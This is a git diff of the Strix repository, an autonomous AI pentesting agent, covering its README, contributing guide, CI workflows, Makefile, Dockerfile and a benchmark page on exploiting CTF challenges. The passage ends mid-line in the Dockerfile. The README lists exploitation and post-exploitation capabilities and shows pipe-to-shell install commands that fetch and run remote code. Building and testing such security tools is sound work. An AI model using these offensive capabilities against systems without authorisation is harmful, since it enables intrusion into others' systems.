diff --git a/.cursor/rules/strix-project.mdc b/.cursor/rules/strix-project.mdc deleted file mode 100644 index ab9b84bed..000000000 --- a/.cursor/rules/strix-project.mdc +++ /dev/null @@ -1,126 +0,0 @@ ---- -description: -globs: -alwaysApply: true ---- -# Strix Cybersecurity Agent - Project Rules - -## Project Overview - -### Goal and Purpose -Strix is a sophisticated cybersecurity agent specialized in vulnerability scanning and security assessment. It provides: -- Automated cybersecurity scans and assessments -- Web application security testing -- Infrastructure vulnerability analysis -- Comprehensive security reporting -- RESTful API for scan management -- CLI interface for direct usage - -The project implements an AI-powered ReAct (Reasoning and Acting) framework for autonomous security testing. - -## Project Structure - -### High-Level Architecture -``` -strix-agent/ -├── strix/ # Core application package -│ ├── agents/ # AI agent implementations -│ ├── api/ # FastAPI web service -│ ├── cli/ # Command-line interface -│ ├── llm/ # Language model configurations -│ └── tools/ # Security testing tools -├── tests/ # Test suite -├── evaluation/ # Evaluation framework -├── containers/ # Docker configuration -└── docs/ # Documentation -``` - -### Low-Level Structure - -#### Core Components -- **[strix/agents/StrixAgent/strix_agent.py](mdc:strix/agents/StrixAgent/strix_agent.py)** - Main cybersecurity agent -- **[strix/agents/base_agent.py](mdc:strix/agents/base_agent.py)** - Base agent framework -- **[strix/api/main.py](mdc:strix/api/main.py)** - FastAPI application entry point -- **[strix/cli/main.py](mdc:strix/cli/main.py)** - CLI entry point -- **[pyproject.toml](mdc:pyproject.toml)** - Project configuration and dependencies - -#### API Structure -- **[strix/api/routers/](mdc:strix/api/routers)** - API endpoint definitions -- **[strix/api/models/](mdc:strix/api/models)** - Pydantic data models -- **[strix/api/services/](mdc:strix/api/services)** - Business logic services - -#### Security Tools -- **[strix/tools/browser/](mdc:strix/tools/browser)** - Web browser automation -- **[strix/tools/terminal/](mdc:strix/tools/terminal)** - Terminal command execution -- **[strix/tools/python/](mdc:strix/tools/python)** - Python code execution -- **[strix/tools/web_search/](mdc:strix/tools/web_search)** - Web reconnaissance -- **[strix/tools/reporting/](mdc:strix/tools/reporting)** - Security report generation - -## Development Guidelines - -### Code Standards -- **Simplicity**: Write simple, clean, and modular code -- **Functionality**: Prefer functional programming patterns where appropriate -- **Efficiency**: Optimize for performance without premature optimization -- **No Bloat**: Avoid unnecessary complexity or over-engineering -- **Minimal Comments**: Code should be self-documenting; use comments sparingly for complex business logic only - -### Code Quality Requirements -- All code MUST pass `make pre-commit` checks -- All code MUST pass Ruff linting without warnings -- All code MUST pass MyPy type checking without errors -- Type hints are required for all function signatures -- Follow the strict configuration in [pyproject.toml](mdc:pyproject.toml) - -### Execution Environment -- **ALWAYS** use `poetry run` for executing Python scripts and commands -- **NEVER** run Python directly with `python` command -- Use `poetry run strix-agent` for CLI operations -- Use `poetry run uvicorn strix.api.main:app` for API server - -### File Management Rules -- **DO NOT** create or edit README.md or any .md documentation files unless explicitly requested -- Focus on code implementation, not documentation -- Keep docstrings concise and functional - -### Testing and Quality Assurance -- Run `make pre-commit` before any commits -- Ensure all tests pass with `poetry run pytest` -- Use `poetry run mypy .` for type checking -- Use `poetry run ruff check .` for linting - -### Dependencies -- All dependencies managed through [pyproject.toml](mdc:pyproject.toml) -- Use Poetry for dependency management -- Pin versions for production dependencies -- Keep dev dependencies in separate group - -### Configuration -- Application settings in [strix/api/core/config.py](mdc:strix/api/core/config.py) -- LLM configuration in [strix/llm/config.py](mdc:strix/llm/config.py) -- Agent system prompts in [strix/agents/StrixAgent/system_prompt.jinja](mdc:strix/agents/StrixAgent/system_prompt.jinja) - -## Key Implementation Patterns - -### Agent Framework -- Inherit from BaseAgent for new agent implementations -- Use ReAct pattern for reasoning and action loops -- Implement tools through the registry system in [strix/tools/registry.py](mdc:strix/tools/registry.py) - -### API Development -- Use FastAPI with Pydantic models -- Implement proper error handling and validation -- Follow REST conventions for endpoints -- Use Beanie ODM for MongoDB operations - -### Security Tools -- Implement tools as action classes with clear interfaces -- Use async/await for I/O operations -- Implement proper cleanup and resource management -- Follow principle of least privilege - -### Error Handling -- Use structured exception handling -- Provide meaningful error messages -- Log errors appropriately without exposing sensitive information -- Implement graceful degradation where possible diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..85919cefe --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,33 @@ +--- +name: Bug report +about: Create a report to help us improve +title: "[BUG]" +labels: bug +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. +2. +3. +4. + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**System Information:** +- OS: [e.g. Ubuntu 22.04] +- Strix Version or Commit: [e.g. 0.1.18] +- Python Version: [e.g. 3.12] +- LLM Used: [e.g. GPT-5, Claude Sonnet 4.6] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..f45586549 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: "[FEATURE]" +labels: enhancement +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/logo.png b/.github/logo.png new file mode 100644 index 000000000..699eb8373 Binary files /dev/null and b/.github/logo.png differ diff --git a/.github/screenshot.png b/.github/screenshot.png index 1cb799dbb..f15e14c2a 100644 Binary files a/.github/screenshot.png and b/.github/screenshot.png differ diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml new file mode 100644 index 000000000..ad2f4647d --- /dev/null +++ b/.github/workflows/build-release.yml @@ -0,0 +1,78 @@ +name: Build & Release + +on: + push: + tags: + - 'v*' + workflow_dispatch: + +jobs: + build: + strategy: + fail-fast: false + matrix: + include: + - os: macos-latest + target: macos-arm64 + - os: macos-15-intel + target: macos-x86_64 + - os: ubuntu-latest + target: linux-x86_64 + - os: windows-latest + target: windows-x86_64 + + runs-on: ${{ matrix.os }} + + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + + - uses: astral-sh/setup-uv@v5 + + - name: Build + shell: bash + run: | + uv sync --frozen + uv run pyinstaller strix.spec --noconfirm + + VERSION=$(grep '^version' pyproject.toml | head -1 | sed 's/.*"\(.*\)"/\1/') + mkdir -p dist/release + + if [[ "${{ runner.os }}" == "Windows" ]]; then + cp dist/strix.exe "dist/release/strix-${VERSION}-${{ matrix.target }}.exe" + (cd dist/release && 7z a "strix-${VERSION}-${{ matrix.target }}.zip" "strix-${VERSION}-${{ matrix.target }}.exe") + else + cp dist/strix "dist/release/strix-${VERSION}-${{ matrix.target }}" + chmod +x "dist/release/strix-${VERSION}-${{ matrix.target }}" + tar -C dist/release -czvf "dist/release/strix-${VERSION}-${{ matrix.target }}.tar.gz" "strix-${VERSION}-${{ matrix.target }}" + fi + + - uses: actions/upload-artifact@v4 + with: + name: strix-${{ matrix.target }} + path: | + dist/release/*.tar.gz + dist/release/*.zip + if-no-files-found: error + + release: + needs: build + runs-on: ubuntu-latest + permissions: + contents: write + + steps: + - uses: actions/download-artifact@v4 + with: + path: release + merge-multiple: true + + - name: Create Release + uses: softprops/action-gh-release@v2 + with: + prerelease: ${{ !startsWith(github.ref, 'refs/tags/') }} + generate_release_notes: true + files: release/* diff --git a/.gitignore b/.gitignore index e812c6692..895fe8988 100644 --- a/.gitignore +++ b/.gitignore @@ -39,18 +39,6 @@ pip-delete-this-directory.txt .pydevproject .settings/ -# Testing -.tox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -.hypothesis/ -.pytest_cache/ -htmlcov/ - # FastAPI .env.local .env.development.local @@ -79,6 +67,7 @@ logs/ tensorboard/ # Agent execution traces +strix_runs/ agent_runs/ # Misc diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 1f3c86c46..b201051bb 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -11,7 +11,7 @@ repos: # MyPy for static type checking - repo: https://github.com/pre-commit/mirrors-mypy - rev: v1.16.0 + rev: v1.17.1 hooks: - id: mypy additional_dependencies: [ @@ -19,6 +19,8 @@ repos: types-python-dateutil, pydantic, fastapi, + pytest, + "openai-agents[litellm]==0.14.6", ] args: [--install-types, --non-interactive] @@ -31,6 +33,7 @@ repos: - id: check-toml - id: check-merge-conflict - id: check-added-large-files + args: ['--maxkb=1024'] - id: debug-statements - id: check-case-conflict - id: check-docstring-first @@ -44,7 +47,7 @@ repos: # Additional Python code quality checks - repo: https://github.com/asottile/pyupgrade - rev: v3.20.0 + rev: v3.21.2 hooks: - id: pyupgrade args: [--py312-plus] diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..f14e5e36e --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,116 @@ +# Contributing to Strix + +Thank you for your interest in contributing to Strix! This guide will help you get started with development and contributions. + +## 🚀 Development Setup + +### Prerequisites + +- Python 3.12+ +- Docker (running) +- [uv](https://docs.astral.sh/uv/) (for dependency management) +- Git + +### Local Development + +1. **Clone the repository** + ```bash + git clone https://github.com/usestrix/strix.git + cd strix + ``` + +2. **Install development dependencies** + ```bash + make setup-dev + + # or manually: + uv sync + uv run pre-commit install + ``` + +3. **Configure your LLM provider** + ```bash + export STRIX_LLM="openai/gpt-5.4" + export LLM_API_KEY="your-api-key" + ``` + +4. **Run Strix in development mode** + ```bash + uv run strix --target https://example.com + ``` + +## 📚 Contributing Skills + +Skills are specialized knowledge packages that enhance agent capabilities. See [strix/skills/README.md](strix/skills/README.md) for detailed guidelines. + +### Quick Guide + +1. **Choose the right category** (`/vulnerabilities`, `/frameworks`, `/technologies`, etc.) +2. **Create a** `.md` file with your skill content +3. **Include practical examples** - Working payloads, commands, or test cases +4. **Provide validation methods** - How to confirm findings and avoid false positives +5. **Submit via PR** with clear description + +## 🔧 Contributing Code + +### Pull Request Process + +1. **Create an issue first** - Describe the problem or feature +2. **Fork and branch** - Work from the `main` branch +3. **Make your changes** - Follow existing code style +4. **Write/update tests** - Ensure coverage for new features +5. **Run quality checks** - `make check-all` should pass +6. **Submit PR** - Link to issue and provide context + +### PR Guidelines + +- **Clear description** - Explain what and why +- **Small, focused changes** - One feature/fix per PR +- **Include examples** - Show before/after behavior +- **Update documentation** - If adding features +- **Pass all checks** - Tests, linting, type checking + +### Code Style + +- Follow PEP 8 with 100-character line limit +- Use type hints for all functions +- Write docstrings for public methods +- Keep functions focused and small +- Use meaningful variable names + +## 🐛 Reporting Issues + +When reporting bugs, please include: + +- Python version and OS +- Strix version +- LLMs being used +- Full error traceback +- Steps to reproduce +- Expected vs actual behavior + +## 💡 Feature Requests + +We welcome feature ideas! Please: + +- Check existing issues first +- Describe the use case clearly +- Explain why it would benefit users +- Consider implementation approach +- Be open to discussion + +## 🤝 Community + +- **Discord**: [Join our community](https://discord.gg/strix-ai) +- **Issues**: [GitHub Issues](https://github.com/usestrix/strix/issues) + +## ✨ Recognition + +We value all contributions! Contributors will be: +- Listed in release notes +- Thanked in our Discord +- Added to contributors list (coming soon) + +--- + +**Questions?** Reach out on [Discord](https://discord.gg/strix-ai) or create an issue. We're here to help! diff --git a/Makefile b/Makefile index c411cbecc..faaade560 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -.PHONY: help install dev-install format lint type-check test test-cov clean pre-commit setup-dev +.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev help: @echo "Available commands:" @@ -8,83 +8,63 @@ help: @echo "" @echo "Code Quality:" @echo " format - Format code with ruff" - @echo " lint - Lint code with ruff and pylint" + @echo " lint - Lint code with ruff" @echo " type-check - Run type checking with mypy and pyright" @echo " security - Run security checks with bandit" @echo " check-all - Run all code quality checks" @echo "" - @echo "Testing:" - @echo " test - Run tests with pytest" - @echo " test-cov - Run tests with coverage reporting" - @echo "" @echo "Development:" @echo " pre-commit - Run pre-commit hooks on all files" @echo " clean - Clean up cache files and artifacts" install: - poetry install --only=main + uv sync --no-dev dev-install: - poetry install --with=dev + uv sync setup-dev: dev-install - poetry run pre-commit install + uv run pre-commit install @echo "✅ Development environment setup complete!" @echo "Run 'make check-all' to verify everything works correctly." format: @echo "🎨 Formatting code with ruff..." - poetry run ruff format . + uv run ruff format . @echo "✅ Code formatting complete!" lint: @echo "🔍 Linting code with ruff..." - poetry run ruff check . --fix - @echo "📝 Running additional linting with pylint..." - poetry run pylint strix/ --score=no --reports=no + uv run ruff check . --fix @echo "✅ Linting complete!" type-check: @echo "🔍 Type checking with mypy..." - poetry run mypy strix/ + uv run mypy strix/ @echo "🔍 Type checking with pyright..." - poetry run pyright strix/ + uv run pyright strix/ @echo "✅ Type checking complete!" security: @echo "🔒 Running security checks with bandit..." - poetry run bandit -r strix/ -c pyproject.toml + uv run bandit -r strix/ -c pyproject.toml @echo "✅ Security checks complete!" check-all: format lint type-check security @echo "✅ All code quality checks passed!" -test: - @echo "🧪 Running tests..." - poetry run pytest -v - @echo "✅ Tests complete!" - -test-cov: - @echo "🧪 Running tests with coverage..." - poetry run pytest -v --cov=strix --cov-report=term-missing --cov-report=html - @echo "✅ Tests with coverage complete!" - @echo "📊 Coverage report generated in htmlcov/" - pre-commit: @echo "🔧 Running pre-commit hooks..." - poetry run pre-commit run --all-files + uv run pre-commit run --all-files @echo "✅ Pre-commit hooks complete!" clean: @echo "🧹 Cleaning up cache files..." find . -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null || true - find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true - find . -type d -name "htmlcov" -exec rm -rf {} + 2>/dev/null || true find . -name "*.pyc" -delete 2>/dev/null || true - find . -name ".coverage" -delete 2>/dev/null || true @echo "✅ Cleanup complete!" -dev: format lint type-check test +dev: format lint type-check @echo "✅ Development cycle complete!" diff --git a/README.md b/README.md index cefd1e99a..b2882f6e4 100644 --- a/README.md +++ b/README.md @@ -1,147 +1,277 @@ +

+ + Strix Banner + +

+
# Strix -### Open-source AI hackers for your apps +### The open-source AI pentesting tool. Autonomous AI hackers that find and fix your app’s vulnerabilities. + +
+ + +Docs +Website +[![](https://dcbadge.limes.pink/api/server/strix-ai)](https://discord.gg/strix-ai) + +Ask DeepWiki +GitHub Stars +License +PyPI Version -[![Apache 2.0](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE) -[![Vercel AI Accelerator 2025](https://img.shields.io/badge/Vercel%20AI-Accelerator%202025-000000?style=flat&logo=vercel)](https://vercel.com/ai-accelerator) -[![Status: Alpha](https://img.shields.io/badge/status-alpha-orange.svg)](https://github.com/usestrix/strix) -[![Discord](https://dcbadge.limes.pink/api/server/yduEyduBsp?style=flat)](https://discord.gg/yduEyduBsp) -**⚡ Use it to hack your apps before the bad guys do ⚡** +Join Discord +Follow on X + + +usestrix/strix | Trendshift
+ +> [!TIP] +> **New!** Strix integrates seamlessly with GitHub Actions and CI/CD pipelines. Automatically scan for vulnerabilities on every pull request and block insecure code before it reaches production - [Get started with no setup required](https://app.strix.ai). + +--- + + +## Strix Overview + +Strix are autonomous AI penetration testing agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual proofs-of-concept. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools. + +**Key Capabilities:** + +- **Full pentesting toolkit** - reconnaissance, exploitation, and validation out of the box +- **Multi-agent orchestration** - teams of AI pentesters that collaborate and scale +- **Real exploit validation** - working PoCs, not false positives like legacy vulnerability scanners +- **Developer‑first CLI** - actionable findings with remediation guidance +- **Auto‑fix & reporting** - generate patches and compliance-ready pentest reports + + +
+ +
-Strix Demo + + Strix Demo +
---- -## 🦉 Strix Overview +## Use Cases + +- **Application Security Testing** - Detect and validate critical vulnerabilities in your applications +- **Rapid Penetration Testing** - Get penetration tests done in hours, not weeks, with compliance reports +- **Bug Bounty Automation** - Automate bug bounty research and generate PoCs for faster reporting +- **CI/CD Integration** - Run tests in CI/CD to block vulnerabilities before reaching production -Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools. +## 🚀 Quick Start -### 🚀 Quick Start +**Prerequisites:** +- Docker (running) +- An LLM API key from any [supported provider](https://docs.strix.ai/llm-providers/overview) (OpenAI, Anthropic, Google, etc.) + +### Installation & First Scan ```bash -# Install -pipx install strix-agent +# Install Strix +curl -sSL https://strix.ai/install | bash -# Configure AI provider -export STRIX_LLM="anthropic/claude-opus-4-1-20250805" +# Configure your AI provider +export STRIX_LLM="openai/gpt-5.4" export LLM_API_KEY="your-api-key" -# Run security assessment +# Run your first security assessment strix --target ./app-directory ``` -## Why Use Strix +> [!NOTE] +> First run automatically pulls the sandbox Docker image. Results are saved to `strix_runs/` + +--- + +## ☁️ Strix Platform + +Try the Strix full-stack penetration testing platform at **[app.strix.ai](https://app.strix.ai)** - sign up for free, connect your repos and domains, and launch a pentest in minutes. + +- **Validated findings with PoCs** - every vulnerability includes a working proof-of-concept exploit and reproduction steps +- **One-click autofix** - AI-generated security patches as ready-to-merge pull requests +- **Continuous pentesting** - always-on vulnerability scanning that keeps pace with your deployments +- **DevSecOps integrations** - GitHub, GitLab, Bitbucket, Slack, Jira, Linear, and CI/CD pipelines +- **Continuous learning** - AI that builds on past findings, adapts to your codebase, and reduces false positives over time + +[**Start your first pentest →**](https://app.strix.ai) -- **Full Hacker Arsenal** - All the tools a professional hacker needs, built into the agents -- **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives -- **Developer-First** - Seamlessly integrates into existing development workflows -- **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports +--- ## ✨ Features -### 🛠️ Agentic Security Tools +### Agentic Pentesting Tools + +Strix agents come equipped with a comprehensive offensive security toolkit - the same tools used by professional penetration testers and ethical hackers: + +- **HTTP Interception Proxy** - Full request/response manipulation and analysis with Caido +- **Browser Exploitation** - Automated browser for testing XSS, CSRF, clickjacking, and auth bypass flows +- **Shell & Command Execution** - Interactive terminal for exploit development and post-exploitation +- **Custom Exploit Runtime** - Python sandbox for writing and validating proof-of-concept exploits +- **Reconnaissance & OSINT** - Automated attack surface mapping, subdomain enumeration, and fingerprinting +- **Static & Dynamic Code Analysis** - SAST + DAST capabilities for comprehensive application security testing +- **Vulnerability Knowledge Base** - Structured findings with CVSS scoring and OWASP classification + +### Comprehensive Vulnerability Scanner -- **🔌 Full HTTP Proxy** - Full request/response manipulation and analysis -- **🌐 Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows -- **💻 Terminal Environments** - Interactive shells for command execution and testing -- **🐍 Python Runtime** - Custom exploit development and validation -- **🔍 Reconnaissance** - Automated OSINT and attack surface mapping -- **📁 Code Analysis** - Static and dynamic analysis capabilities -- **📝 Knowledge Management** - Structured findings and attack documentation +Strix identifies, validates, and exploits a wide range of security vulnerabilities across the OWASP Top 10 and beyond: -### 🎯 Comprehensive Vulnerability Detection +- **Broken Access Control** - IDOR, privilege escalation, auth bypass +- **Injection Attacks** - SQL injection, NoSQL injection, OS command injection, SSTI +- **Server-Side Vulnerabilities** - SSRF, XXE, insecure deserialization, RCE +- **Client-Side Attacks** - XSS (stored/reflected/DOM), prototype pollution, CSRF +- **Business Logic Flaws** - Race conditions, payment manipulation, workflow bypass +- **Authentication & Session** - JWT attacks, session fixation, credential stuffing vectors +- **Infrastructure & Cloud** - Misconfigurations, exposed services, cloud security issues +- **API Security** - Broken authentication, mass assignment, rate limiting bypass -- **Access Control** - IDOR, privilege escalation, auth bypass -- **Injection Attacks** - SQL, NoSQL, command injection -- **Server-Side** - SSRF, XXE, deserialization flaws -- **Client-Side** - XSS, prototype pollution, DOM vulnerabilities -- **Business Logic** - Race conditions, workflow manipulation -- **Authentication** - JWT vulnerabilities, session management -- **Infrastructure** - Misconfigurations, exposed services +### Graph of Agents (Multi-Agent Pentesting) -### 🕸️ Graph of Agents +Advanced multi-agent orchestration for comprehensive automated penetration testing: -- **Distributed Workflows** - Specialized agents for different attacks and assets -- **Scalable Testing** - Parallel execution for fast comprehensive coverage -- **Dynamic Coordination** - Agents collaborate and share discoveries +- **Distributed Pentesting** - Specialized AI agents for recon, exploitation, and post-exploitation +- **Scalable Security Testing** - Parallel execution across multiple targets for fast, comprehensive coverage +- **Dynamic Coordination** - Agents share discoveries, chain vulnerabilities, and collaborate like a red team +--- + +## Usage Examples -## 💻 Usage Examples +### Basic Usage ```bash -# Local codebase analysis +# Scan a local codebase strix --target ./app-directory -# Repository security review +# Security review of a GitHub repository strix --target https://github.com/org/repo -# Web application assessment +# Black-box web application assessment strix --target https://your-app.com +``` + +### Advanced Testing Scenarios + +```bash +# Grey-box authenticated testing +strix --target https://your-app.com --instruction "Perform authenticated testing using credentials: user:pass" + +# Multi-target testing (source code + deployed app) +strix -t https://github.com/org/app -t https://your-app.com + +# White-box source-aware scan (local repository) +strix --target ./app-directory --scan-mode standard + +# Focused testing with custom instructions +strix --target api.your-app.com --instruction "Focus on business logic flaws and IDOR vulnerabilities" -# Focused testing -strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing" +# Provide detailed instructions through file (e.g., rules of engagement, scope, exclusions) +strix --target api.your-app.com --instruction-file ./instruction.md + +# Force PR diff-scope against a specific base branch +strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main ``` -### ⚙️ Configuration +### Headless Mode + +Run Strix programmatically without interactive UI using the `-n/--non-interactive` flag - perfect for servers and automated jobs. The CLI prints real-time vulnerability findings and the final report before exiting. Exits with non-zero code when vulnerabilities are found. ```bash -# Required -export STRIX_LLM="anthropic/claude-opus-4-1-20250805" +strix -n --target https://your-app.com +``` + +### CI/CD (GitHub Actions) + +Strix can be added to your pipeline to run a security test on pull requests with a lightweight GitHub Actions workflow: + +```yaml +name: strix-penetration-test + +on: + pull_request: + +jobs: + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Install Strix + run: curl -sSL https://strix.ai/install | bash + + - name: Run Strix + env: + STRIX_LLM: ${{ secrets.STRIX_LLM }} + LLM_API_KEY: ${{ secrets.LLM_API_KEY }} + + run: strix -n -t ./ --scan-mode quick +``` + +> [!TIP] +> In CI pull request runs, Strix automatically scopes quick reviews to changed files. +> If diff-scope cannot resolve, ensure checkout uses full history (`fetch-depth: 0`) or pass +> `--diff-base` explicitly. + +### Configuration + +```bash +export STRIX_LLM="openai/gpt-5.4" export LLM_API_KEY="your-api-key" -# Recommended -export PERPLEXITY_API_KEY="your-api-key" +# Optional +export LLM_API_BASE="your-api-base-url" # if using a local model, e.g. Ollama, LMStudio +export PERPLEXITY_API_KEY="your-api-key" # for search capabilities +export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high, quick scan: medium) ``` -[📚 View supported AI models](https://docs.litellm.ai/docs/providers) +> [!NOTE] +> Strix automatically saves your configuration to `~/.strix/cli-config.json`, so you don't have to re-enter it on every run. -## 🏆 Enterprise Platform +**Recommended models for best results:** -Our managed platform provides: +- [OpenAI GPT-5.4](https://openai.com/api/) - `openai/gpt-5.4` +- [Anthropic Claude Sonnet 4.6](https://claude.com/platform/api) - `anthropic/claude-sonnet-4-6` +- [Google Gemini 3 Pro Preview](https://cloud.google.com/vertex-ai) - `vertex_ai/gemini-3-pro-preview` -- **📈 Executive Dashboards** -- **🧠 Custom Fine-Tuned Models** -- **⚙️ CI/CD Integration** -- **🔍 Large-Scale Scanning** -- **🔌 Third-Party Integrations** -- **🎯 Enterprise Support** +See the [LLM Providers documentation](https://docs.strix.ai/llm-providers/overview) for all supported providers including Vertex AI, Bedrock, Azure, and local models. -[**Get Enterprise Demo →**](https://form.typeform.com/to/ljtvl6X0) +## Enterprise Pentesting -## 🔒 Security Architecture +Get the same Strix experience with [enterprise-grade](https://strix.ai/demo) controls: SSO (SAML/OIDC), custom compliance-ready penetration testing reports (SOC 2, ISO 27001, PCI DSS), dedicated support & SLA, custom deployment options (VPC/self-hosted), BYOK model support, and tailored AI pentesting agents optimized for your environment. [Learn more](https://strix.ai/demo). -- **Container Isolation** - All testing in sandboxed Docker environments -- **Local Processing** - Testing runs locally, no data sent to external services +## Documentation -> [!NOTE] -> Strix is currently in Alpha. Expect rapid updates and improvements. +Full documentation is available at **[docs.strix.ai](https://docs.strix.ai)** - including detailed guides for usage, CI/CD integrations, skills, and advanced configuration. -> [!WARNING] -> Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally. +## Contributing -## 🌟 Support the Project +We welcome contributions of code, docs, and new skills - check out our [Contributing Guide](https://docs.strix.ai/contributing) to get started or open a [pull request](https://github.com/usestrix/strix/pulls)/[issue](https://github.com/usestrix/strix/issues). -**Love Strix?** Give us a ⭐ on GitHub! +## Join Our Community -## 👥 Join Our Community +Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/strix-ai)** -Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/yduEyduBsp)** +## Support the Project ---- +**Love Strix?** Give us a ⭐ on GitHub! -
+## Acknowledgements -### About • Links +Strix builds on the incredible work of open-source projects like [LiteLLM](https://github.com/BerriAI/litellm), [Caido](https://github.com/caido/caido), [Nuclei](https://github.com/projectdiscovery/nuclei), [Playwright](https://github.com/microsoft/playwright), and [Textual](https://github.com/Textualize/textual). Huge thanks to their maintainers! -**[OmniSecure Inc.](https://omnisecure.ai)** • Applied AI Research Lab -[Discord Community](https://discord.gg/yduEyduBsp) • [Enterprise Solutions](https://form.typeform.com/to/ljtvl6X0) • [Report Issues](https://github.com/usestrix/strix/issues) +> [!WARNING] +> Only test apps you own or have permission to test. You are responsible for using Strix ethically and legally.
diff --git a/benchmarks/README.md b/benchmarks/README.md new file mode 100644 index 000000000..b7d99dece --- /dev/null +++ b/benchmarks/README.md @@ -0,0 +1,43 @@ +# Benchmarks + +We use security benchmarks to track Strix's capabilities and improvements over time. We plan to add more benchmarks, both existing ones and our own, to help the community evaluate and compare security agents. + + +## Full Details + +For the complete benchmark results, evaluation scripts, and run data, see the [usestrix/benchmarks](https://github.com/usestrix/benchmarks) repository. + +> [!NOTE] +> We are actively adding more benchmarks to our evaluation suite. + + +## Results + +| Benchmark | Challenges | Success Rate | +|-----------|------------|--------------| +| [XBEN](https://github.com/usestrix/benchmarks/tree/main/XBEN) | 104 | **96%** | + +### XBEN + +The [XBOW benchmark](https://github.com/usestrix/benchmarks/tree/main/XBEN) is a set of 104 web security challenges designed to evaluate autonomous penetration testing agents. Each challenge follows a CTF format where the agent must discover and exploit vulnerabilities to extract a hidden flag. + +Strix `v0.4.0` achieved a **96% success rate** (100/104 challenges) in black-box mode. + +```mermaid +%%{init: {'theme': 'base', 'themeVariables': { 'pie1': '#3b82f6', 'pie2': '#1e3a5f', 'pieTitleTextColor': '#ffffff', 'pieSectionTextColor': '#ffffff', 'pieLegendTextColor': '#ffffff'}}}%% +pie title Challenge Outcomes (104 Total) + "Solved" : 100 + "Unsolved" : 4 +``` + +**Performance by Difficulty:** + +| Difficulty | Solved | Success Rate | +|------------|--------|--------------| +| Level 1 (Easy) | 45/45 | 100% | +| Level 2 (Medium) | 49/51 | 96% | +| Level 3 (Hard) | 6/8 | 75% | + +**Resource Usage:** +- Average solve time: ~19 minutes +- Total cost: ~$337 for 100 challenges diff --git a/containers/Dockerfile b/containers/Dockerfile index 5a5234d27..16c1c5406 100644 --- a/containers/Dockerfile +++ b/containers/Dockerfile @@ -9,16 +9,10 @@ RUN apt-get update && \ RUN useradd -m -s /bin/bash pentester && \ usermod -aG sudo pentester && \ - echo "pentester ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers - -RUN mkdir -p /home/pentester/configs \ - /home/pentester/wordlists \ - /home/pentester/output \ - /home/pentester/scripts \ - /home/pentester/tools \ - /app/runtime \ - /app/tools \ - /app/certs && \ + echo "pentester ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers && \ + touch /home/pentester/.hushlogin + +RUN mkdir -p /home/pentester/tools /app/certs && \ chown -R pentester:pentester /app/certs /home/pentester/tools RUN apt-get update && \ @@ -38,10 +32,9 @@ RUN apt-get update && \ nodejs npm pipx \ libcap2-bin \ gdb \ - libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \ - libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 \ - fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \ - libnss3-tools + libnss3-tools \ + chromium fonts-liberation + RUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap) @@ -67,11 +60,7 @@ USER root RUN cp /app/certs/ca.crt /usr/local/share/ca-certificates/ca.crt && \ update-ca-certificates -RUN curl -sSL https://install.python-poetry.org | POETRY_HOME=/opt/poetry python3 - && \ - ln -s /opt/poetry/bin/poetry /usr/local/bin/poetry && \ - chmod +x /usr/local/bin/poetry && \ - python3 -m venv /app/venv && \ - chown -R pentester:pentester /app/venv /opt/poetry +RUN curl -LsSf 